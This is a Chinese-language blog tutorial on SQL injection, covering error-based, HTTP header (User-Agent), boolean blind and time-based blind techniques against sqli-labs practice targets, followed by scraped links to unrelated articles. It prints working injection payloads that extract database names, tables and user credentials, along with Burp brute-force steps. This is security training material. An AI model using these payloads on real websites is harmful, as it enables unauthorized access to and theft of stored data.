当前位置: 首页 > news >正文

SQL注入(head、报错、盲注)

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

1. 报错注入

1.1 那么什么是报错注入呢?

1.2 报错注入原理

extractvalue函数

updatexml函数

1.3 靶场解析

靶场练习

2. HEAD注入

2.1 相关全局变量

2.2 靶场解析

burp暴力破解

靶场练习

3. 布尔盲注

3.1 相关的函数

3.2 注入漏洞判断

3.3 靶场解析

3.5 burp结合布尔盲注

4. 时间盲注

4.1 原理

4.2 特点

4.3 常用函数

4.4 语义解析

​编辑

靶场练习

4.6 靶场解析


【学习目标、重难点知识】

【学习目标】

  1. 报错注入
  1. HEAD注入
  1. 布尔盲注
  1. 时间盲注

【重难点知识】

  1. 报错注入
  1. HEAD注入
  1. 布尔盲注

1. 报错注入

1.1 那么什么是报错注入呢?

• 在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。

• 常用的爆错函数updatexml(),extractvalue(),floor() ,exp()

• 基于函数报错的信息获取(select/insert/update/delete)

• updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;

• extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;

1.2 报错注入原理

由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的如extractvalue、updatexml等函数来显示出报错的信息输出)

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

通过这两个函数可以完成报错注入

extractvalue函数
语法:ExtractValue(target, xpath)target:包含XML数据的列或XML文档
xpath:XPath 表达式,指定要提取的数据路径。
  • concat():用来连接多个字符串
  • group_concat():将某一组或一列数据合并成一个字符串,用逗号分隔
SELECT ExtractValue('1', concat('~',database()));

例如:SELECT ExtractValue('<a><b>1231313<b/></a>', '/a/b');

就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

(这里我们是为了学习报错注入,所以不需要太详细的知道该函数具体原理)

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

updatexml函数
语法:updateXML(target, xpath, new_value)target:要更新的 XML 数据列或 XML 文档。
xpath:指定要更新的 XML 元素的 XPath 表达式。
new_value:新的值,将替代匹配的 XML 元素的内容。
select updatexml('1', concat('~',user()), '1');

比如:

UPDATE your_table
SET xml_data = updatexml(xml_data, '/root/element', 'new_value')
WHERE some_condition;

上述 SQL 查询会在满足 some_condition 的记录中,将 /root/element 的内容替换为 'new_value'

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

1.3 靶场解析

Less-13 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1、从判断注入点=>尝试联合无果

。。。。。。

2、尝试报错

123') and ExtractValue('1', concat('~',database(),'~')); -- s 123') and updatexml('1', concat('~',(select version()),'~'), '1') -- s

3、获取所有库名,发现长度有限制

123') and updatexml('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'), '1') -- s

4、获取所有库名substr():截取字符串

123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),1,30),'~'), '1') -- s123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),31,60),'~'), '1') -- s....
依次类推

5、获取表名

6、获取字段名

7、获取内容user表账号密码信息

靶场练习

报错注入

Less-5、Less-6、Less-13、Less-14

2. HEAD注入

2.1 相关全局变量

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是:

$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了

$_POST (获取POST传参)

$_GET (获取GET的传参)

$_COOKIE (获取COOKIE的值)

$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

$_SERVER功能强大。

$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。

$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。

$_SERVER["HTTP_REFERER"] 获取请求来源

$_SERVER["HTTP_X_FORWARDED_FOR"] 获取浏览用户IP

$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。

  • 获取heard头信息,记录到数据库中
insert into 表名(字段,字段,字段) values (值,值,值)
  • 为什么会存在heard头注入
    • 当目标记录head信息的时候,我们去抓包修改head信息,将sql语句插入到head头里面,目标记录的时候,如果没有做过滤,容易把sql语句带入到数据库执行

2.2 靶场解析

Less-18 POST- Header Injection - Uagent field-Error Based(Header注入- UA-报错)

burp暴力破解

指定爆破模块:sniper

sniper(狙击手模式):替换爆破参数中的内容,如果有多个爆破点,第一个爆破完,再去爆破第二个

battering ram(破城锤):使用相同的字典,同时爆破所有爆破点

pitchfork(音叉模式):同时爆破,爆破点1指定字典1,爆破点2指定字典2

cluster bomb(集束炸弹):依次使用字典1与字典2进行组合爆破,笛卡尔积

成功爆破出账号密码

1、修改UA头报错

User-Agent: 1'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1insert into 表名(字段,字段,字段) values ('1',2,3) --a          ','127.0.0.1','admin')
insert into 表名(字段,字段,字段) values ('1',123,123) -- s','192.168.13.1','admin')

2、爆数据库名

User-Agent: 1','123','123' and ExtractValue('1', concat('~',database(),'~'))) -- s

3、爆出所有的库名

User-Agent: 1','123','123'and ExtractValue('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'))) -- s

4、如果长度还是有限制,加上substr()函数,截取字符串

Pass - 7:user_agentpass - 8:referer1','123'and ExtractValue('1', concat('~',database(),'~'))) -- s

靶场练习

Less-18、Less19

3. 布尔盲注

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为boolean型盲注和时间型盲注

Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。

Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。

3.1 相关的函数

通过长度判断length():length(database())>=x

通过ascII码判断:ascii():ascii(substr(database(),1,1)) >=x

通过字符判断substr():substr(database(),1,1) ='s'

3.2 注入漏洞判断

1.id=1' 报错

2.id=1 and 1=1 结果和id=1一样

3.id=1 and 1=2 结果异常

3.3 靶场解析

Pass - 10 布尔盲注01,02,03

判断闭合方式:
数值型判断长度:
?id=1 and length(database())=14 -- s判断第一个字符:
ascii二分法判断第一个字符
?id=1 and ascii(substr(database(),1,1))=122判断第二个字符:
?id=1 and ascii(substr(database(),2,1))>100

POST - 布尔盲注

&username=qwe' or length(database())=14 #

靶场练习

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

1、首先判断注入点,既不能联合也不能报错

2、尝试布尔盲注,首先判断当前数据的长度

二分法判断长度
http://sqli-labs-maste/Less-8/?id=1' and length(database())>10 -- s
http://sqli-labs-maste/Less-8/?id=1' and length(database())>5 -- s...........http://sqli-labs-maste/Less-8/?id=1' and length(database())=8 -- s

3、判断库名具体的字符-

security判断第1位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- s判断第2位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),2,1))>115 -- s.。。。。。。。。。。。判断第8位,二分法,依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),14,1))>115 -- s直到判断出所有字符

4、判断表长度

http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>6 -- s			//返回异常http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 -- s			//返回正常说明第一个表有6个字符

5、判断表名每个字符ascii值

  • 判断第1个表名的第一个字符的ascii值
http://sqli-labs-maste/Less-8/?id=1' and 
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- s

........

  • 判断第2个表名的第一个字符的ascii值(判断之前先判断一下第2个表的长度)
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- s
  • 直到判断出想要的用户相关的表

6、如果找到users表,表中的字段

7、获取内容值

判断长度:
http://sqli-labs-maste/Less-8/?id=1' and (length(username) from users limit 0,1)>4 -- s判断内容:
http://sqli-labs-maste/Less-8/?id=1' and 
(ascii(substr((select username from users limit 0,1),1,1)))>68

思考?每次只需要变动的地方是什么?

3.5 burp结合布尔盲注

先写好爆破语句

?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))=68 -- s

抓包,将请求放入爆破模块中

选择爆破方式,添加爆破变量

选择爆破的字典

开始攻击

筛选长度

1——68
2——117
3——109
4——98
对着ASCII码,账户是Dumb

4. 时间盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注。

4.1 原理

利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

4.2 特点

  • 通过时间回显的延迟作为判断payload=1' and sleep(5)--+ 有延迟则考虑时间盲注
  • 利用sleep()或benchmark()函数延长mysql的执行时间
  • 与if()搭配使用

4.3 常用函数

• left(m,n) --从左向右截取字符串m返回其前n位

• substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串

• ascii(m) --返回字符m的ASCII码

• if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3

• sleep(m)--使程序暂停m秒

• length(m) --返回字符串m的长度

• count(column_name) --返回指定列的值的数目

4.4 语义解析

if(expr1,expr2,expr3) 

对expr1进行布尔判断,如果为真,则执行expr2,如果为假,则执行expr3

常用payload;

if(length(database())>1,sleep(5),1) 

如果数据库名字符长度大于1为真,mysql休眠5秒,如果为假则查询1。而查询1的结果,大约只有几十毫秒,根据Burp Suite中页面的响应时间,可以判断条件是否正确。

靶场解析:

http://sqli21/Pass-13

判断当前数据库名的第一个字符的ASCII码

http://sqli21/Pass-13/index.php?id=1" and if(ascii(substr(database(),1,1))>115,sleep(5),1) -- a

靶场练习

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

4.6 靶场解析

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

1、判断数据库长度

2、判断数据库字符

id=1' and if((ascii(substr(database(),1,1)))>115,sleep(5),1)-- s

3、判断表名长度

4、判断表名字符

。。。。。。。。。。省略自行练习

5、查找出内容

---------------------------------------------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------------

之后我会继续出sql注入知识点总结直至完整,如有需要请关注持续更新(本文部分内容来自课件,如有版权问题请与我联系)

相关文章:

SQL注入(head、报错、盲注)

目录 【学习目标、重难点知识】 【学习目标】 【重难点知识】 1. 报错注入 1.1 那么什么是报错注入呢&#xff1f; 1.2 报错注入原理 extractvalue函数 updatexml函数 1.3 靶场解析 靶场练习 2. HEAD注入 2.1 相关全局变量 2.2 靶场解析 burp暴力破解 靶场练习 3…...

30. 包含 min 函数的栈

comments: true difficulty: 简单 edit_url: https://github.com/doocs/leetcode/edit/main/lcof/%E9%9D%A2%E8%AF%95%E9%A2%9830.%20%E5%8C%85%E5%90%ABmin%E5%87%BD%E6%95%B0%E7%9A%84%E6%A0%88/README.md 面试题 30. 包含 min 函数的栈 题目描述 定义栈的数据结构&#xff…...

五、OpenTK图形渲染基础

文章目录 一、顶点数据(一)顶点坐标、颜色、纹理坐标的定义(二)顶点数组的组织二、图元绘制(一)点列表、线列表、线带、三角形列表、三角形带的绘制(二)绘制模式(GL_POINTS、GL_LINES、GL_TRIANGLES 等)三、清除屏幕一、顶点数据 (一)顶点坐标、颜色、纹理坐标的定…...

桔子哥/基于云快充协议1.5版本的充电桩系统软件-充电桩系统 -新能源车充电平台源码

基于云快充协议1.5版本的充电桩系统软件 介绍 SpringBoot 框架&#xff0c;充电桩平台充电桩系统充电平台充电桩互联互通协议云快充协议1.5-1.6协议新能源汽车二轮车公交车二轮车充电-四轮车充电充电源代码充电平台源码Java源码 软件功能 小程序端&#xff1a;城市切换、附…...

零基础5分钟上手亚马逊云科技-高可用Web系统设计最佳实践

简介&#xff1a; 欢迎来到小李哥全新亚马逊云科技AWS云计算知识学习系列&#xff0c;适用于任何无云计算或者亚马逊云科技技术背景的开发者&#xff0c;通过这篇文章大家零基础5分钟就能完全学会亚马逊云科技一个经典的服务开发架构方案。 我会每天介绍一个基于亚马逊云科技…...

培训学校课程管理系统-计算机毕设Java|springboot实战项目

&#x1f34a;作者&#xff1a;计算机毕设匠心工作室 &#x1f34a;简介&#xff1a;毕业后就一直专业从事计算机软件程序开发&#xff0c;至今也有8年工作经验。擅长Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等。 擅长&#xff1a;按照需求定制化开发项目…...

基于STM32的智能婴儿床控制系统设计(手机APP+蓝牙无线控制)(210)

文章目录 一、前言1.1 项目介绍【1】项目功能介绍【2】设计实现的功能【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】HC05工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】项目背景【5】摘要1.4 开发工具的选择【1】设备端开发【2】上…...

四、前后端分离通用权限系统(4)

&#x1f33b;&#x1f33b; 目录 一、前端开发和前端开发工具1.1、前端开发介绍1.2、下载和安装 VS Code1.2.1、下载地址1.2.2、插件安装1.2.3、创建项目1.2.4、保存工作区1.2.5、新建文件夹和网页1.2.6、预览网页1.2.7、设置字体大小 二、Node.js2.1、Node.js 简介2.1.1、什么…...

时序预测|基于贝叶斯BO-卷积-双向门控单元-注意力机制的单变量时间序列预测模型BO-CNN-BiGRU-Attention

时序预测|基于贝叶斯BO-卷积-双向门控单元-注意力机制的单变量时间序列预测模型BO-CNN-BiGRU-Attention 文章目录 前言时序预测|基于贝叶斯BO-卷积-双向门控单元-注意力机制的单变量时间序列预测模型BO-CNN-BiGRU-Attention 一、BO-CNN-BiGRU-Attention模型1. 贝叶斯优化&#…...

计算机毕业设计PySpark+Flask bilibili弹幕情感分析 B站视频数据可视化 B站爬虫 机器学习 深度学习 NLP自然语言处理 大数据毕业设计

### 开题报告&#xff1a;基于PySpark和Flask的B站弹幕情感分析系统 #### 一、研究背景 在网络视频平台的用户互动中&#xff0c;弹幕&#xff08;Danmaku&#xff09;作为一种实时评论的形式&#xff0c;已经成为观众表达观点和情感的重要方式。尤其是在B站&#xff08;哔哩…...

点击展开详细说明网站html引导页源码

点击展开详细说明网站html引导页源码,源码由HTMLCSSJS组成&#xff0c;记事本打开源码文件可以进行内容文字之类的修改&#xff0c;双击html文件可以本地运行效果&#xff0c;也可以上传到服务器里面&#xff0c;重定向这个界面 https://download.csdn.net/download/huayula/89…...

Android 架构模式之 MVP

目录 架构设计的目的对 MVP 的理解代码ModelViewPresenter Android 中 MVP 的问题试吃个小李子ModelViewPresenter 大家好&#xff01; 作为 Android 程序猿&#xff0c;你有研究过 MVP 架构吗&#xff1f;在开始接触 Android 那一刻起&#xff0c;我们就开始接触 MVC 架构&am…...

Ciallo~(∠・ω・ )⌒☆第二十二篇 入门request请求库使用

请求库是用于发送HTTP请求的工具。常见的请求库有requests&#xff0c;它是一个功能强大且易于使用的HTTP库。 使用requests库发送GET请求&#xff1a; import requests url "https://httpbin.org/get"# 携带get请求参数 params {"pn": 10,"size&q…...

设计模式-创建型模式-原型模式

1.原型模式定义 用一个已经创建的实例作为原型&#xff0c;通过复制该原型对象来创建一个和原型对象相同的新对象&#xff1b; 1.1 原型模式优缺点 优点 当创建一个新的对象实例较为复杂时&#xff0c;使用原型模式可以简化对象的创建过程&#xff0c;通过复制一个已有的实例…...

遗传算法与深度学习实战(7)——使用遗传算法解决N皇后问题

遗传算法与深度学习实战&#xff08;7&#xff09;——使用遗传算法解决N皇后问题 0. 前言1. N 皇后问题2. 解的表示3. 遗传算法解决 N 皇后问题小结系列链接 0. 前言 进化算法 (Evolutionary Algorithm, EA) 和遗传算法 (Genetic Algorithms, GA) 已成功解决了许多复杂的设计…...

R语言:如何安装包“linkET”

自己在R语言中安装包“linkET”时报错不存在叫‘linket’这个名字的程辑包 尝试了install.packages("linkET")和BiocManager::install("linkET")两种安装办法都不行 >install.packages("linkET") WARNING: Rtools is required to build R pa…...

JSON, YAML, XML, CSV交互可视化

1、jsoncrack https://jsoncrack.com/editor...

Android UI:PopupWindow:源码分析:设置WindowManager.LayoutParams中的各种参数

文章目录 设置flags是否包含某些flag设置gravity设置type设置softInputMode设置windowAnimations设置width/height设置token 在WindowManager.addView之前设置在WindowManager.addView之后,可通过i熬夜难过update方法设置设置format设置flags是否包含某些flag 1666 …...

MySQL:从入门到放弃

基础查询 MySQL&#xff1a;基础查询 Mybatis&#xff1a;基础巩固-DDL 项目实战 MySQL&#xff1a;按照日期分组查询 查询开始时间与结束时间在指定的日期范围之内&#xff0c;并且结束时间可以为NULL的数据...

C++OpenGL三维显示镜面反射光线漫反射实例

程序示例精选 COpenGL三维显示镜面反射光线漫反射实例 如需安装运行环境或远程调试&#xff0c;见文章底部个人QQ名片&#xff0c;由专业技术人员远程协助&#xff01; 前言 这篇博客针对《COpenGL三维显示镜面反射光线漫反射实例》编写代码&#xff0c;代码整洁&#xff0c;…...

【前端面试】从npm 升级到 pnpm的总结

pnpm优势 pnpm 和 npm 在性能上存在一些明显的差异,这也是一些开发者选择从 npm 切换到 pnpm 的原因。以下是一些关键的差异和原因: 1. 速度: pnpm 比 npm 快了近 2 倍,它通过优化的依赖管理,显著提高了安装速度 。 2. 磁盘空间效率: pnpm 使用基于内容寻址的文件系…...

同步外网YUM源-3

在企业实际应用场景中,仅仅靠光盘里面的RPM软件包是不能满足需要,我们可以把外网的YUM源中的所有软件包同步至本地,可以完善本地YUM源的软件包数量及完整性。 获取外网YUM源软件常见方法包括Rsync、Wget、Reposync,三种同步方法的区别Rsync方式需要外网YUM源支持RSYNC协议…...

Linux的oracle数据库导入其他用户导出的数据库文件

如果用户使用的是expdp的命令&#xff0c;导入就要使用impdp命令&#xff0c;本文以impdp为例进行介绍 1、查看当前创建的所有dmp导出目录 select * from dba_directories 2、为创建的目录赋权限 比如咱们将数据库导入到test用户&#xff0c; grant read,write on directo…...

FLUX.1 文生图模型微调指南

FLUX.1 是 Black Forest Labs 今年夏天发布的文本转图像模型系列。FLUX.1 模型为开源图像生成模型树立了新标准&#xff1a;它们可以生成逼真的手、清晰的文本&#xff0c;甚至可以生成搞笑表情包这样异常困难的任务。 现在&#xff0c;你可以使用 Ostris 的 Replicate 上的 A…...

JavaWeb基础:HTTP协议与Tomcat服务器

目录 1. HTTP协议简介 示例代码&#xff1a;创建HTTP GET请求 2. Tomcat服务器介绍 Tomcat的基本操作 示例代码&#xff1a;部署简单Servlet 3. 使用Servlet处理请求 示例代码&#xff1a;处理POST请求 在现代网络开发中&#xff0c;理解HTTP协议和如何使用Tomcat作为服…...

python井字棋游戏设计与实现

python实现井字棋游戏 游戏规则&#xff0c;有三个井字棋盘&#xff0c;看谁连成的直线棋盘多谁就获胜 棋盘的展现形式为 棋盘号ABC和位置数字1-9 输入A1 代表在A棋盘1号位数下棋 效果图如下 部分源码如下&#xff1a; 卫星工纵浩 白龙码程序设计&#xff0c;点 代码获取 …...

据说是可以和 Windows 一拼的 5个 Linux 发行版

现如今有数以千计的 Linux 发行版可供您使用&#xff0c;然而人们却无法选择一个完美的操作系统来替代 Windows。 使用 Windows 时&#xff0c;傻瓜都能操作自如&#xff0c;同样的方法却不适用于 Linux。在这里&#xff0c;您必须具备操作和使用操作系统的基本知识。因此人们经…...

PHP 常用函数

1. ksort&#xff08;&#xff09; 如果你有一个数组 array&#xff08;[11] > array(XX), [6] > array(YYY)&#xff09;&#xff0c;你想要返回按照key重新排序&#xff0c;并不改变键和值之间的关联&#xff0c;处理之后的结果为 array&#xff08;[6] > array(YY…...

如何将MySQL迁移到TiDB,完成无缝业务切换?

当 MySQL 数据库的单表数据量达到了亿级&#xff0c;会发生什么&#xff1f; 这个现象表示公司的业务上了一个台阶&#xff0c;随着数据量的增加&#xff0c;公司规模也进一步扩大了&#xff0c;是非常喜人的一个改变 &#xff0c;然而随之而来的其他变化&#xff0c;就没那么…...

【嵌入式烧录刷写文件】-2.10-为一个Intel Hex文件计算校验和Checksum

案例背景(共6页精讲): 有如下一段Intel Hex文件&#xff0c;为其创建Checksum校验和&#xff1a;CRC16&#xff0c;CRC32(CVN)&#xff0c;SHA-256 Hash算法…, 将Checksum Value填充到指定地址。 :2091000058595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767…...

全国最新疫情情况/锦州seo推广

OVal是一个可扩展的Java对象数据验证框架&#xff0c;验证的规则可以通过配置文件、Annotation、POJOs进行设定。可以使用纯Java语言、JavaScript、Groovy、BeanShell等进行规则的编写。下面学步园小编来讲解下Java对象校验框架Oval怎么使用&#xff1f;Java对象校验框架Oval怎…...

盖世汽车是模仿美国哪个网站做的/seo网站推广优化

首先&#xff0c;对于近日围绕着“华为、美国、google、Github”等这些主题的报道&#xff0c;我个人是绝对挺华为的&#xff0c;但会更理性一些&#xff0c;从技术角度出发去解决根本问题&#xff0c;也就是任总在访谈中提到的那些。不得不说&#xff0c;任总真是个伟大的企业…...

wap蓝天建站/目前小说网站排名

介绍&#xff1a; Clipore可以自动记录你的剪贴数据&#xff0c;办公&#xff0c;经常复制文本或常忘记之前复制了些啥的推荐使用&#xff01; 除了记录剪贴数据还有一些有用的功能提供使用哦&#xff01; 1.当你复制文本时自动记录所复制的文本&#xff0c;在软件中双击记录…...

天津网站建设哪里好/百度排名查询

框架名称是ui_auto_web&#xff0c;有bin、conf、lib、log、reports和webCase六个目录&#xff0c;lib目录下有core和page目录&#xff0c;page目录下又包含web目录&#xff0c;把每个功能的测试用例存放到webCase目录下&#xff0c;核心功能文件放在core目录下&#xff0c;rep…...

仿做静态网站多少钱/站长工具星空传媒

1.解释Session Session 是客户端与服务器通讯会话技术&#xff0c; 比如浏览器登陆、记录整个浏览会话信息。session存放在服务器&#xff0c;关闭浏览器不会失效。 1.1Session实现原理 客户对向服务器端发送请求后&#xff0c;Session 创建在服务器端&#xff0c;返回Sessi…...

小公司网站如何做/浙江seo技术培训

今天东哥想用Scorpio Pro 5查一下猪场某人邮箱的密码&#xff0c;发现不太好使。决定自己写个自己用。代码如下 #!/usr/bin/python #-*- coding:utf-8 -*- #输入这一条就可以在Python脚本里面使用汉语注释&#xff01;此脚本可以直接复制使用&#xff1b;while True: …...